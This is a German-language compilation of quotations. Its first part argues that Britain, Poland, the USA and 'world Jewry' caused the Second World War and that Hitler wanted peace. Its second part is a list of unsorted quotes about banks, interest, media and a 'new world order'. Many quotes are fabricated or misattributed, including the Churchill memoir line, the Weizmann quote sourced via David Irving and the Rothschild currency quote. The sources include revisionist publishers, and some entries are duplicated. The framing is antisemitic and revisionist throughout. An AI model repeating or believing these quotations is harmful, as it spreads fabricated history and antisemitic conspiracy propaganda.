“…Die Kriegführung hatte versucht, ein Abkommen zu treffen, wobei das Schicksal Polens und der kleinen Staaten keine wesentliche Rolle spielte, sondern dass es sich dabei um die Lösung Deutschlands vom Goldstandard gehandelt habe, während des ganzen Telegrammkrieges fanden ausgedehnte Verhandlungen zwischen dem britischen und dem deutschen Auswärtigen Amt statt, in denen wir vorschlugen, die Feindseligkeiten einzustellen, sofern sich Deutschland bereit erklärt, zur Goldwährung zurückzukehren…” (Liddel Hart – Militärhistoriker in der Zeitschrift “Tomorrow” 1947/6)

“Das unverzeihliche Verbrechen Deutschlands vor dem Zweiten Weltkrieg war der Versuch, seine Wirtschaftskraft aus dem Welthandels-system herauszulösen und ein eigenes Austauschsystem zu schaffen, bei dem die Weltfinanz nicht mitverdienen konnte.” Winston Churchill, Memoiren

Dieser Krieg ist ein englischer Krieg, und sein Ziel ist die Vernichtung Deutschlands.
— WINSTON CHURCHILL, AM 10. MAI 1940, ANTRITTSREDE NACH ÜBERNAHME DER REGIERUNG

Wir sind bereit, mit dem Teufel einen Pakt abzuschließen, wenn er uns im Kampf gegen Hitler hilft. Hört ihr: Gegen Deutschland, nicht nur gegen Hitler. Das deutsche Blut wird in einem kommenden Krieg in solchen Strömen vergossen werden, wie dies seit Entstehung der Welt noch nicht gesehen worden ist.
— DIE WARSCHAUER ZEITUNG „DEPESZA“ VOM 20. AUGUST 1939

Die Furcht, ihre Vorherrschaft zu verlieren, diktierte der britischen und französischen Regierung ihre Facebook der Aufhetzung zum Krieg gegen Deutschland. Die britische Regierung proklamiert, dass der Krieg gegen Deutschland nicht mehr und nicht weniger als die Vernichtung des Hitlerismus‘ zum Ziele habe. Ein solcher Krieg kann aber auf keine Weise gerechtfertigt werden.
— DER SOWJETISCHE AUSSENMINISTER MOLOTOW IN EINER REDE AM 31.10.193

Wenn wir den europäischen Kontinent wirklich führen wollen (…) so dürfen wir aus verständlichen Gründen diese nicht als eine deutsche Großraumwirtschaft öffentlich deklarieren. Wir müssen grundsätzlich immer von Europa sprechen, denn die deutsche Führung ergibt sich ganz von selbst.
— WERNER DAITZ, 1940, DENKSCHRIFT

Ich freue mich, dass er gerade ein Österreicher ist, der meinen Traum, Österreich nach Deutschland zurückzuholen, wahrgemacht hat.
— STAATSPRÄSIDENT VON ÖSTERREICH, KARL RENNER AM 14. MÄRZ 1938 IM WIENER RATHAUS
Wenn England einmal so geschlagen darniederliegen sollte wie Deutschland nach dem Weltkrieg, dann wünschte ich mir für England einen Mann wie Adolf Hitler.
— WINSTON CHURCHILL, 1938

Verträge sind wie Pasteten: gemacht, um gebrochen zu werden.
— STALIN ÜBER DEN „HITLER-STALIN-PAKT“ ODER „RIBBENTROP-MOLOTOW-VERTRAG“ VON 1939

Wir stehen im Krieg mit Deutschland seit Hitlers Machtübernahme.
— „JEWISH CHRONICLE“, AM 8. MAI 1942

Natürlich würde ein Bevölkerungsaustausch im Osten und Norden die Folge sein. Die Umsiedlung von mehreren Millionen Menschen müsste vom Osten nach dem Westen oder Norden durchgeführt werden, ebenso die Vertreibung der Deutschen – denn das wurde vorgeschlagen: völlige Vertreibung der Deutschen – aus den Gebieten, die Polen im Westen und Norden gewinnt. Denn die Vertreibung ist, soweit wir in der Lage sind es zu überschauen, das befriedigendste und dauerhafteste Mittel. Es wird keine Mischung der Bevölkerung geben, wodurch endlose Unannehmlichkeiten entstehen, wie zum Beispiel im Fall Elsass-Lothringen. Reiner Tisch wird gemacht werden. Mich beunruhigt die Aussicht des Bevölkerungsaustausches ebenso wenig wie die großen Umsiedlungen, die unter modernen Bedingungen viel leichter möglich sind als je zuvor.
— WINSTON CHURCHILL, VOR DEM UNTERHAUS IN LONDON AM 13. DEZEMBER 1944

Es ist uns gelungen, die Vereinigten Staaten in den Ersten Weltkrieg zu ziehen, und wenn sie (die USA) im Zusammenhang mit Palästina und den jüdischen Streitkräften tun, was wir verlangen, dann können wir die Juden in den USA so weit bekommen, dass sie die USA auch diesmal hineinschleppen. (in den 2. Weltkrieg)
— WEIZMANN ZU CHURCHILL, SEPTEMBER 1941, (VGL. LENSKI, R. „DER HOLOCAUST VOR GERICHT“, SAMISDAT PUBL. 1993, S. 555 (QUELLE DAVID IRVING)

Jetzt haben wir Hitler zum Krieg gezwungen, so dass er nicht mehr auf friedlichem Wege ein Stück des Versailler Vertrages nach dem anderen aufheben kann.
— LORD HALIFAX, ENGLISCHER BOTSCHAFTER IN WASHINGTON, 1939, (VGL. „NATION EUROPA“, JAHRG. 1954, HEFT 1, S. 46)

Die Minderheiten in Polen sollen verschwinden. Die polnische Politik ist es, die dafür sorgt, dass sie nicht nur auf dem Papier verschwinden. Diese Politik wird rücksichtslos vorwärtsgetrieben und ohne die geringste Beachtung der öffentlichen Meinung der Welt, auf internationale Verträge oder auf den Völkerbund. Die Ukraine ist unter der polnischen Herrschaft zur Hölle geworden. Von Weißrussland kann man dasselbe mit noch größerem Recht sagen. Das Ziel der polnischen Politik ist das Verschwinden der nationalen Minderheiten, auf dem Papier und in der Wirklichkeit.
— MANCHESTER GUARDIAN, 14.DEZEMBER 1931

Die Minderheiten in Polen sollen verschwinden. Die polnische Politik ist es, die dafür sorgt, dass sie nicht nur auf dem Papier verschwinden. Diese Politik wird rücksichtslos vorwärtsgetrieben und ohne die geringste Beachtung der öffentlichen Meinung der Welt, auf internationale Verträge oder auf den Völkerbund. Die Ukraine ist unter der polnischen Herrschaft zur Hölle geworden. Von Weißrussland kann man dasselbe mit noch größerem Recht sagen. Das Ziel der polnischen Politik ist das Verschwinden der nationalen Minderheiten, auf dem Papier und in der Wirklichkeit.
— MANCHESTER GUARDIAN, 14.DEZEMBER 1931

Die Minderheiten in Polen sollen verschwinden. Die polnische Politik ist es, die dafür sorgt, dass sie nicht nur auf dem Papier verschwinden. Diese Politik wird rücksichtslos vorwärtsgetrieben und ohne die geringste Beachtung der öffentlichen Meinung der Welt, auf internationale Verträge oder auf den Völkerbund. Die Ukraine ist unter der polnischen Herrschaft zur Hölle geworden. Von Weißrussland kann man dasselbe mit noch größerem Recht sagen. Das Ziel der polnischen Politik ist das Verschwinden der nationalen Minderheiten, auf dem Papier und in der Wirklichkeit.
— MANCHESTER GUARDIAN, 14.DEZEMBER 1931

Der polnische Terror in der Ukraine ist heute schlimmer als alles andere in Europa. Aus der Ukraine ist ein Land der Verzweiflung und Zerstörung geworden. Was umso aufreizender ist, als die Rechte der Ukrainer völkerrechtlich gewährleistet sind, während der Völkerbund allen Appellen und Darlegungen gegenüber taub ist und die übrige Welt nichts davon weiß und sich nicht darum kümmert.
— MANCHESTER GUARDIAN, 17.OKTOBER 1930; BEIDE ZITATE NACH ULRICH STERN „DIE WAHREN SCHULDIGEN AM ZWEITEN WELTKRIEG“

Wir sind uns bewusst, dass der Krieg zwischen Polen und Deutschland nicht vermieden werden kann. Wir müssen uns systematisch und energisch für diesen Krieg vorbereiten. Die heutige Generation wird sehen, dass ein neuer Sieg bei Grunwald in die Seiten der Geschichte eingeschrieben wird. Aber wir werden dieses Grunwald in den Vorstädten von Berlin schlagen. Unser Ideal ist, Polen mit Grenzen an der Oder im Westen und der Neiße in der Lausitz abzurunden und Preußen vom Pregel bis zur Spree einzuverleiben. In diesem Krieg werden keine Gefangenen genommen, es wird kein Platz für humanitäre Gefühle sein.
— DAS ZENSIERTE UND DER POLNISCHEN MILITÄRDIKTATUR NAHESTEHENDE BLATT MOSARSTWOWIECZ 1930, ALSO NOCH DREI JAHRE VOR HITLERS MACHTERGREIFUNG

Polen will den Krieg mit Deutschland, und Deutschland wird ihn nicht vermeiden können, selbst wenn es das wollte.
— RYDZ-SMIGLY, GENERALINSPEKTEUR DER POLNISCHEN ARMEE IN EINEM ÖFFENTLICHEN VORTRAG VOR POLNISCHEN OFFIZIEREN, SOMMER 1939, (VGL. DR. RER. NAT. HEINZ SPLITTGERBER, „UNKENNTNIS ODER INFAMIE?“, VERLAG „DER SCHLESIER“, RECKLINGHAUSEN, S. 7)

Es wird die polnische Armee sein, die in Deutschland am ersten Tage des Krieges einfallen wird.
— ERKLÄRUNG DES POLNISCHEN BOTSCHAFTERS IN PARIS AM 15.8.1939, (VGL. FREUND, M. „WELTGESCHICHTE“, BD. III, S. 90)

Der springende Punkt ist hier, dass Hitler, im Gegensatz zu Churchill, Roosevelt und Stalin, keinen allgemeinen Kriegsausbruch 1939 wollte.
— VGL. BARNES „BLASTING OF THE HISTORICAL BLACKOUT“, OXNARD, KALIF., 1962

Unsere Sache ist, Deutschland, dem Staatsfeind Nr. 1, erbarmungslos den Krieg zu erklären.
— BERNHARD LECACHE, PRÄSIDENT DER JÜDISCHEN WELTLIGA, 9.11.1938

Es ist unsere Sache, die moralische und wirtschaftliche Blockade Deutschlands zu organisieren und diese Nation zu vierteilen: … Es ist unsere Sache, endlich einen Krieg ohne Gnade zu erwirken.
— LECACHE, PARIS, 18. NOVEMBER 1938 (VGL. LECACHE, B. „LE DROIT DE VIVRE“)

Hitler will nicht den Krieg, aber er wird dazu gezwungen werden, und zwar bald. Das letzte Wort liegt wie 1914 bei England.
— ZIONIST EMIL LUDWIG COHN, „ANNALEN“ (VGL. HENNIG, A.A.O., S. 137)

Denn obwohl Hitler vielleicht im letzten Augenblick den Krieg vermeiden will, der ihn verschlingen kann, wird er dennoch zum Krieg genötigt werden
— ZIONIST EMIL LUDWIG COHN, 1938 (VGL. LUDWIG COHN „DIE NEUE HEILIGE ALLIANZ“)

… ich befragte Joe Kennedy, (US-Botschafter in London), über seine Unterredungen mit Roosevelt und N. Chamberlain von 1938. Er sagte, Chamberlains Überzeugung 1939 sei gewesen, dass Großbritannien nichts in der Hand habe, um zu fechten, und dass es deshalb nicht wagen könne, gegen Hitler in den Krieg zu gehen … Weder Franzosen noch Engländer würden Polen zum Kriegsgrund gemacht haben, wenn sie nicht unablässig von Washington angestachelt worden wären … Amerika und das Weltjudentum hätten England in den Krieg getrieben.
— US-VERTEIDIGUNGSMINISTER J. FORRESTAL AM 27.12.1945 IN SEINEM TAGEBUCH, (THE FORRESTAL DIARIES, NEW YORK, 1951, S. 121 FF) (ZIT. NACH G. FRANZ-WILLING „KRIEGSSCHULDFRAGE“, ROSENHEIM 1992, S. 112)

Mit Gräuelpropaganda haben wir den Krieg gewonnen …Und nun fangen wir erst richtig damit an! Wir werden diese Gräuelpropaganda fortsetzen, wir werden sie steigern bis niemand mehr ein gutes Wort von den Deutschen annehmen wird, bis alles zerstört sein wird, was sie etwa in anderen Ländern noch an Sympathien gehabt haben, und sie selber so durcheinandergeraten sein werden, dass sie nicht mehr wissen, was sie tun. Wenn das erreicht ist, wenn sie beginnen, ihr eigenes Nest zu beschmutzen, und das nicht etwa zähneknirschend, sondern in eilfertiger Bereitschaft, den Siegern gefällig zu sein, dann erst ist der Sieg vollständig. Endgültig ist er nie. Die Umerziehung (Reeducation) bedarf sorgfältiger, unentwegter Pflege wie englischer Rasen. Nur ein Augenblick der Nachlässigkeit, und das Unkraut bricht durch, jenes unausrottbare Unkraut der geschichtlichen Wahrheit.
— SEFTON DELMER, EHEMALIGER BRITISCHER CHEFPROPAGANDIST NACH DER KAPITULATION 1945 ZU DEM DEUTSCHEN VÖLKERRECHTLER PROF. GRIMM, (DIE PROPAGANDA DER ALLIIERTEN WIRD DURCH DEN ÜBERLEITUNGSVERTRAG ART. 7.1 ALS OFFENSICHTLICHE TATSACHEN VOM „DEUTSCHEN’ STRAFRECHT GESCHÜTZT.)

Ich will den Frieden – und ich werde alles daransetzen, um den Frieden zu schließen. Noch ist es nicht zu spät. Dabei werde ich bis an die Grenzen des Möglichen gehen, soweit es die Opfer und Würde der deutschen Nation zulassen. Ich weiß mir Besseres als Krieg! Allein, wenn ich an den Verlust des deutschen Blutes denke – es fallen ja immer die Besten, die Tapfersten und Opferbereitesten, deren Aufgabe es wäre, die Nation zu verkörpern, zu führen. Ich habe es nicht nötig, mir durch Krieg einen Namen zu machen wie Churchill. Ich will mir einen Namen machen als Ordner des deutschen Volkes, seine Einheit und seinen Lebensraum will ich sichern, den nationalen Sozialismus durchsetzen, die Umwelt gestalten.
— ADOLF HITLER NACH BEENDIGUNG DES FRANKREICH-FELDZUGES IN EINEM GESPRÄCH MIT SEINEM ARCHITEKTEN PROF. HERMANN GIESLER, GIESLER: „EIN ANDERER HITLER“, SEITE 395

Es bleibt nunmehr übrig, den besten Weg, die praktischste und schnellste Art und Weise zu finden, wie dem deutschen Volk die Todesstrafe auferlegt werden kann. Ein Blutbad und eine Massenhinrichtung müssen selbstverständlich von vornherein ausgeschlossen werden. Sie sind nicht nur undurchführbar, wo sie auf eine Bevölkerung von etwa siebzig Millionen angewandt werden sollen, sondern derartige Methoden sind auch mit moralischen Verpflichtungen und sittlichen Gepflogenheiten der zivilisierten Welt unverträglich. Es bleibt also nur noch ein Weg offen, um die Welt für immer vom Deutschtum zu befreien, nämlich der, die Quelle zum Versiegen zu bringen, die diese kriegslüsternen Seelen erzeugt, indem man das Volk daran hindert, seine Gattung je wieder fortzupflanzen.
— PRÄSIDENT DER AMERIKANISCHEN FRIEDENSVEREINIGUNG UND AMERIKANISCHER JUDE THEODORE NATHAN KAUFMAN 1941

Ich nehme an, dass es klar ist, dass das Ziel Wohngebiete sind, nicht etwa Schiffswerften oder Flugzeugfabriken.
— DIREKTIVE AN DEN BRITISCHEN „CHIEF OF AIR STAFF“ / 05.02.1942

Unser Hauptziel ist die Vernichtung von so viel Deutschen, wie möglich. Ich erwarte die Vernichtung jedes Deutschen westlich des Rheines und innerhalb des Gebietes, das wir angreifen.
— GENERAL EISENHOWER ZU BEGINN DES ROER-ANGRIFFES

Seit Monaten führte jede jüdische Gemeinde den Kampf gegen Deutschland bei jedem Vortrag, bei jedem Kongress, in den Gewerkschaften. Es gibt Gründe zu der Annahme, dass unser Beitrag zu diesem Kampf eine allgemeine Bedeutung hat. Wir werden zum geistigen und materiellen Angriff der gesamten Welt auf Deutschland einsetzen. Deutschland trachtet danach, wieder eine große Nation zu werden, seine verlorenen Gebiete und seine verlorenen Kolonien wieder zu bekommen. Die jüdischen Interessen verlangen indes die totale Vernichtung Deutschlands. Im Ganzen wie im Einzelnen stellt Deutschland eine Gefahr für uns Juden dar.
— WLADIMIR JABOTINSKY, GRÜNDER DES IRGUN, 1. JANUAR 1934, IN „MARCHA RJETSCH“

„Wenn den Deutschen auch noch so großes Unrecht angetan wird so findet sich doch immer ein obskurer deutscher Professor, der so lange an der Objektivität herumbastelt bis er bewiesen hat, dass die Deutschen Unrecht getan haben.
„BARONIN DE STAEL (1766-1817) – „De L`ALLEMAGNE“

„In Deutschland gilt derjenige, der auf den Schmutz hinweist, für viel gefährlicher als derjenige, der den Schmutz macht.“
KURT TUCHOLSKY (1890-1935) – DT. SCHRIFTSTELLER

„Wenn eine fremde Macht ein Volk ermahnt, die eigene Nationalität zu vergessen, so ist das kein Ausfluss von Internationalismus, sondern dient nur dem Zweck, die Fremdherrschaft zu verewigen.“
FRIEDRICH ENGELS (1820-1895)

„Die Staatsmänner werden billige Lügen erfinden und der Nation, die angegriffen wird, die Schuld geben, und jedermann wird über solche das Gewissen beschwichtigende Fälschungen erfreut sein, und er wird sie eifrig lernen und es ablehnen, irgendwelche Gegenargumente zu prüfen.“
MARK TWAIN

„Die Deutschen haben das Recht, ihre eigenen Bedingungen zu stellen. Sie wollen nur im Frieden leben und von den neidischen Nachbarn weder belästigt noch geteilt werden. Frankreich hat sich ständig in die deutschen Angelegenheiten gemischt…“
Die Zeitung „DAILY NEWS”, London, am 08.09.1870 in Bezug der Kriegserklärung Frankreichs an Deutschland.

„Alles was das Böse braucht, um zu triumphieren ist, dass die guten Menschen nichts tun.“
Edmund Burke, Amerikanischer Philosoph (1729 – 1797)

„Vor allem gilt es doch, dass wir Engländer bisher stets gegen unsere Wettbewerber in Handel und Verkehr Krieg geführt haben. Und unser Hauptwettbewerber in Handel und Verkehr ist heute nicht Frankreich, sondern Deutschland. Bei einem Krieg mit Deutschland kämen wir in die Lage, viel zu gewinnen und nichts zu verlieren…“
Die englische Wochenzeitschrift „SATURDAY REVIEW”, am 24.08.1895

„Mit Gräuelpropaganda haben wir den Krieg gewonnen …Und nun fangen wir erst richtig damit an! Wir werden diese Gräuelpropaganda fortsetzen, wir werden sie steigern bis niemand mehr ein gutes Wort von den Deutschen annehmen wird, bis alles zerstört sein wird, was sie etwa in anderen Ländern noch an Sympathien gehabt haben, und sie selber so durcheinandergeraten sein werden, dass sie nicht mehr wissen, was sie tun. Wenn das erreicht ist, wenn sie beginnen, ihr eigenes Nest zu beschmutzen, und das nicht etwa zähneknirschend, sondern in eilfertiger Bereitschaft, den Siegern gefällig zu sein, dann erst ist der Sieg vollständig. Endgültig ist er nie. Die Umerziehung (Re-Education) bedarf sorgfältiger, unentwegter Pflege wie englischer Rasen. Nur ein Augenblick der Nachlässigkeit, und das Unkraut bricht durch, jenes unausrottbare Unkraut der geschichtlichen Wahrheit.“
SEFTON DELMER, ehemaliger britischer Chefpropagandist nach der Kapitulation 1945 zu dem deutschen Völkerrechtler Prof. Grimm (Die Propaganda der Alliierten wird durch den Überleitungsvertrag Art. 7.1 als OFFENSICHTLICHE TATSACHEN vom „deutschen’ Strafrecht geschützt.)

Eine Regierung muss sparsam sein, weil das Geld, das sie erhält, aus dem Blut und Schweiß ihres Volkes stammt. Es ist gerecht, dass jeder Einzelne dazu beiträgt, die Ausgaben des Staates tragen zu helfen. Aber es ist nicht gerecht, dass er die Hälfte seines jährlichen Einkommens mit dem Staate teilen muss.“
Friedrich II. der Große.

„Kein Mensch der Welt übertrifft die Germanen an Treue.“
Publius Cornelius Tacistus

„Es wird niemals so viel gelogen wie vor der Wahl, während des Krieges und nach der Jagd.“
Otto Fürst von Bismarck (1815 – 1898)

„Wenn kein Mensch die Wahrheit mehr suchen und verbreiten wird, dann verkommt alles Bestehende auf der Erde, denn nur in der Wahrheit sind Gerechtigkeit, Frieden und Leben.“
Friedrich von Schiller (1759-1805)

Ab hier folgen jetzt Zitate die noch nicht sortiert wurden sind. Nicht nur aus der Zeit des zweiten Weltkrieges
• „Ich fordere, dass die Dummheit der Massen endlich abgeschafft wird. Denn nicht die wenigen 10.000 Psychopathen sind unser Problem, sondern die 7 Milliarden Dummköpfe, die sich lieber Fußball, DSDS & Co reinpfeifen, anstatt sich um ihre ureigenen Angelegenheiten zu kümmern“. (Buro Tanic, Mitglied des Europäischen Parlaments)
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• „Wenn man eine wirkliche Weltordnung haben will, eine globale politische Ordnung, dann wird man nicht umhinkommen, an einigen Stellen auch Souveränität und Rechte an andere abzugeben.“ (Angela Merkel)
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• „Eine Handvoll Menschen kontrolliert die Medien der Welt. Derzeit sind es etwa noch sechs solcher Menschen, bald werden es nur noch vier sein – und sie werden dann alles umfassen: alle Zeitungen, alle Magazine, alle Filme, alles Fernsehen. Es gab einmal eine Zeit, da gab es verschiedene Meinungen, Haltungen in den Medien. Heute gibt es nur noch eine Meinung, die zu formen vier, fünf Tage dauert – dann ist es jedermann Meinung.“ (Mike Nichols, Hollywood-Regisseur [Aus: ‚Herr über das Denken der Massen‘, Zeitenschrift (www.pilhar.com) Nr. 22/2. Quartal 1999])
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• „In der Politik geschieht nichts zufällig! Wenn etwas geschieht, kann man sicher sein, dass es auf diese Weise geplant war!“ (F. D. Roosevelt)
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• „Gold ist Geld, alles andere ist Kredit“ (US-amerikanischer Bankier J.P. Morgan (1837-1913))
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• „Verschuldung ist nichts weiter als vorgezogener Konsum, der in der Zukunft ausfällt.“ (Dr. Hjalmar Schacht, 1923-1930 Reichsbankpräsident)
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• „Ich bin davon überzeugt, dass die Bankinstitute eine größere Bedrohung für unsere freiheitliche Ordnung darstellen als stehende Armeen … Sollte das amerikanische Volk je zulassen, dass private Banken erst durch Inflation, dann durch Deflation die Kontrolle über die amerikanische Währung erobern, dann werden die Banken und die in ihrem Umfeld entstehenden Unternehmen … die Menschen all ihres Reichtums berauben, bis ihre Kinder eines Tages … ohne ein Dach über dem Kopf aufwachen. Die Macht, Geld in Umlauf zu bringen …, muss den Banken entrissen und an das Volk zurückgegeben werden, dem sie von Rechts wegen zusteht.“ (Thomas Jefferson 1809; dritter Präsident der USA)
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• „Toleranz kann man von den Rauchern lernen. Noch nie hat sich ein Raucher über einen Nichtraucher beschwert.“ (Alessandro Per Tini)
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• „Man kann sich nicht darauf verlassen, dass das, was vor den Wahlen gesagt wird, auch wirklich nach den Wahlen gilt, und wir müssen damit rechnen, dass das in verschiedenen Weisen sich wiederholen kann.“ (Angela Merkel)
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• „Die erste Freiheit der Presse besteht darin, kein Gewerbe zu sein“ (Karl Marx)
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• „Der Zins ist ein Tribut, den der Schaffende – vom Industriearbeiter bis zum Bauern und Unternehmer – dem Geldleiher entrichten muss, damit überhaupt gearbeitet werden kann. Der Zins wird in den Preis aller Waren eingerechnet und dadurch auf die Konsumenten abgewälzt. Er ist eine erdrückende Last für die große Mehrheit und eine mühelose Einnahmequelle für eine kleine Minderheit der Bevölkerung. Der Zins ist arbeitsfreies Einkommen und daher ethisch nicht zu verantworten.“ (Hansjürg Weber, Schweizer Nationalrat, 1990)
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• „Absolut obrigkeitshörig, des Denkens entwöhnt, typischer Befehlsempfänger, ein Held vor dem Feind, aber ein totaler Mangel an Zivilcourage!
Der typische Deutsche verteidigt sich erst dann, wenn er nichts mehr hat, was sich zu verteidigen lohnt. Wenn er aber aus seinem Schlaf erwacht ist, dann schlägt er in blindem Zorn alles kurz und klein, auch das was ihm noch helfen könnte.“ (C.F. von Weizsäcker)
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• „Nie haben die Massen nach Wahrheit gedürstet. Von den Tatsachen, die ihnen missfallen, wenden sie sich ab und ziehen es vor, den Irrtum zu vergöttern, wenn er sie zu verführen vermag. Wer sie zu täuschen versteht, wird leicht ihr Herr, wer sie aufzuklären sucht, stets ihr Opfer.“ (Gustave Le Bon)
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• „Reichtum und Armut gehören nicht in einen geordneten Staat.“ (Silvio Gesell)
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• „Man kann das ganze Volk eine Zeit lang täuschen und man kann einen Teil des Volkes die ganze Zeit täuschen, aber man kann nicht das ganze Volk die ganze Zeit täuschen!“ (Abraham Lincoln)
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• „Die Wenigen, die das System verstehen, werden dermaßen an seinen Profiten interessiert oder so abhängig von seinen Vorzügen sein, dass aus ihren Reihen niemals eine Opposition hervorgehen wird. Die große Masse der Leute aber, geistig unfähig zu begreifen, wird seine Last ohne Murren tragen, vielleicht sogar ohne je Verdacht zu schöpfen, dass das System gegen sie arbeitet.“ (Gebrüder Rothschild, London, 28. Juni 1863 an US-Geschäftspartner)
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• „Unser Geldsystem bedingt den Kapitalismus, den Zins, die Massenarmut, die Revolte und schließlich den Bürgerkrieg, der zur Barbarei zurückführt. Wer es vorzieht, seinen eigenen Kopf etwas anzustrengen statt fremde Köpfe einzuschlagen, der studiere das Geldwesen.“ (Silvio Gesell)
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• „Man könnte rein theoretisch mit einer 20-Stunden-Woche seinen Lebensstandard, den man heute hat, decken, wenn man nicht eben auch noch ein Drittel der Zeit für die Zinsen arbeiten müsste.“ (Helmut Kreutz)
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• „Heute ist ein Tag, wo die Sonne scheint.“ (Peter Altmaier, CDU)
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• „Um die bürgerliche Gesellschaft zu zerstören, muss man ihr Geldwesen verwüsten.“ (Wladimir I. Lenin)
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• „Derjenige muss in der Tat blind sein, der nicht sehen kann, dass hier auf Erden ein großes Vorhaben, ein großer Plan ausgeführt wird, an dessen Verwirklichung wir als treue Knechte mitwirken dürfen.“ (Winston Churchill)
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• „Eine Währung die gerettet werden muss, ist keine Währung“ (Prof. Dr. Wilhelm Hankel)
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• „Keine Kunst lernt eine Regierung schneller als die, Geld aus den Taschen der Leute zu ziehen“ (Adam Smith, 1723-1790)
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• „Bis zum heutigen Tag gibt es so etwas wie eine unabhängige Presse in der Weltgeschichte nicht. Ich werde jede Woche dafür bezahlt, meine ehrliche Meinung aus der Zeitung bei der ich angestellt bin, herauszuhalten. Wenn ich meine ehrliche Meinung in einer Ausgabe meiner Zeitung veröffentlichen würde, wäre ich meine Beschäftigung innerhalb von 24 Stunden los. Es ist das Geschäft der Journalisten, die Wahrheit zu zerstören, unumwunden zu lügen, zu pervertieren, zu verleumden, die Füße des Mammons zu lecken und das Land zu verkaufen für ihr täglich Brot. Wir sind die Werkzeuge und Vasallen der reichen Männer hinter der Szene. Wir sind die Hampelmänner, sie ziehen die Fäden, und wir tanzen. Unsere Talente, unsere Möglichkeiten und unsere Leben sind das Eigentum anderer Männer. Wir sind intellektuelle Prostituierte.“ (John Swinton, 1829-1901, Chefredakteur der „New York Times“, im Jahre 1880 bei seiner Verabschiedung)
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• „Diejenigen, die entscheiden, sind nicht gewählt und diejenigen, die gewählt werden, haben nichts zu entscheiden“ (Horst Seehofer, CSU)
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• „Wir stehen am Rande einer weltweiten Umbildung. Alles, was wir brauchen ist die richtige, allumfassende Krise und die Nationen werden in die Neue Weltordnung einwilligen.“ (David Rockefeller, US-amerikanischer Bankier & Politiker)
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• „Wer auf Zinsen gibt und einen Aufschlag nimmt sollte der am Leben bleiben? Er soll nicht leben, sondern, weil er alle diese Gräuel getan hat, soll er des Todes sterben; seine Blutschuld komme über ihn.“ (Bibel, Hesekiel 18,13)
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• „Viele Regierungen machen den Fehler, den Reichen zu viel Macht zu geben, (…). Es kommt eine Zeit, da aus etwas wirklich Gutem etwas wirklich Böses wird, denn die Eingriffe der Reichen sind von zerstören derer Wirkung für den Staat als die Taten des Volkes.“ (Aristoteles, Philosoph (384-322 v. Chr.))
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• „Falls das amerikanische Volk jemals die Kontrolle über die Herausgabe ihrer Währung auf Banken übertragen sollte, werden diese und die Firmen, die sich um sie bilden, unter dem Einsatz von Inflation und Deflation, dem Volk solange ihr Eigentum wegnehmen, bis die Kinder obdachlos auf dem Kontinent, den ihre Väter einst in Besitz nahmen, aufwachen. Die Herausgabe von Geld soll von den Banken weggenommen werden, und zurück auf den Kongress und das Volk übertragen werden. Ich glaube aufrichtig, dass Banken, mit dem Recht Geld herauszugeben, gefährlicher für die individuellen Freiheitsrechte sind als eine stehende Armee.“
(Thomas Jefferson, 3. Präsident der USA (1801-1809))
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• „Das moderne Bankensystem erzeugt Geld aus dem Nichts. Dieser Prozess ist vielleicht der erstaunlichste Taschenspielertrick, der jemals erfunden wurde. Das Bankwesen wurde in Schlechtigkeit empfangen und in Sünde geboren. Die Bankiers besitzen die Erde. Nehmen Sie sie ihnen weg, aber lassen Sie ihnen die Macht zur Geldschöpfung, und mit einem Federstrich werden sie genug Geld schöpfen, um die Erde wieder zurückzukaufen. Wenn Sie ihnen hingegen die Macht zur Geldschöpfung nehmen, dann werden alle großen Vermögen, wie meines, verschwinden; und sie sollten verschwinden, denn dies wäre eine zum Leben glücklichere und bessere Welt. Aber wenn Sie weiterhin die Sklaven der Bankiers sein und die Kosten Ihrer eigenen Sklaverei bezahlen wollen, dann lassen Sie es zu, dass die Bankiers weiterhin Geld schöpfen und die Kreditvergabe kontrollieren.“
(Lord Josiah Stamp, Direktor der Bank of England (1928-1941))
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• „In Zeiten universeller Täuschung ist das Aussprechen von Wahrheit ein revolutionärer Akt.“ (George Orwell)
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• „Wo Recht zu Unrecht wird, wird Widerstand zur Pflicht.“ (Bertolt Brecht)
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• „In Deutschland gilt derjenige, der auf den Schmutz hinweist, für viel gefährlicher als derjenige, der den Schmutz macht.“ (Kurt Tucholsky)
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• „Das Grundübel unserer Demokratie liegt darin, dass sie keine ist.“ (Prof. Hans Herbert v. Arnim)
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• „Es wird niemals so viel gelogen wie vor der Wahl, während des Krieges und nach der Jagd.“ (Otto Fürst von Bismarck)
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• „Wenn der Staat Pleite macht, geht natürlich nicht der Staat pleite, sondern seine Bürger.“ (Carl Fürstenberg, deutscher Bankier)
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• „Dem Staat ist es nie an der Wahrheit gelegen, sondern immer nur an der ihm nützlichen Wahrheit, noch genauer gesagt, überhaupt an allem ihm Nützlichen, sei dies nun Wahrheit, Halbwahrheit oder Irrtum.“ (Friedrich Nietzsche)
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• „Gebt mir die Kontrolle über die Währung einer Nation, dann ist es für mich gleichgültig, wer die Gesetze macht.“ (Mayer Amschel Rothschild)
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• „Ich glaube fest daran, dass Mr. Greenspan, Mr. Bernanke und Ihre Kollegen in anderen Zentralbanken auf der ganzen Welt […] den Wert des Papiergeldes total zerstören werden.“ (Marc Faber, Juli 2005)
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• „Papiergeld kehrt früher oder später zu seinem inneren Wert zurück – Null.“ (Voltaire)
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• „Denken ist schwer, darum urteilen die meisten.“ (Carl Gustav Jung)
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• „Willst du den Charakter eines Menschen erkennen, so gib ihm Macht.“ (Abraham Lincoln)
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• „Zwei Dinge sind unendlich, das Universum und die menschliche Dummheit, aber bei dem Universum bin ich mir noch nicht ganz sicher.“ (Albert Einstein)
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• „Was wir brauchen, sind ein paar verrückte Leute; seht euch an, wohin uns die Normalen gebracht haben.“ (George Bernard Shaw)
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• „Ich bin nicht sicher, mit welchen Waffen der dritte Weltkrieg ausgetragen wird, aber im vierten Weltkrieg werden sie mit Stöcken und Steinen kämpfen.“ (Albert Einstein)
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• „Die Wahlphilosophie der Parlamentskandidaten besteht einfach darin, dass sie ihrer linken Hand erlauben, nicht zu wissen, was ihre rechte tut, und so waschen sie beide Hände in Unschuld.“ (Karl Marx)
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• „Alles was du sagst, sollte wahr sein. Aber nicht alles was wahr ist, solltest du auch sagen.“ (Voltaire)
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• „Staatsverschuldung ist einfach ein Mechanismus für versteckte Enteignung von Vermögen und Gold verhindert diesen heimtückischen Prozess.“ (Alan Greenspan)
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• „Der einzige Weg, um das Verhalten der Politiker zu ändern, ist, ihnen das Geld wegzunehmen.“ (Milton Friedman)
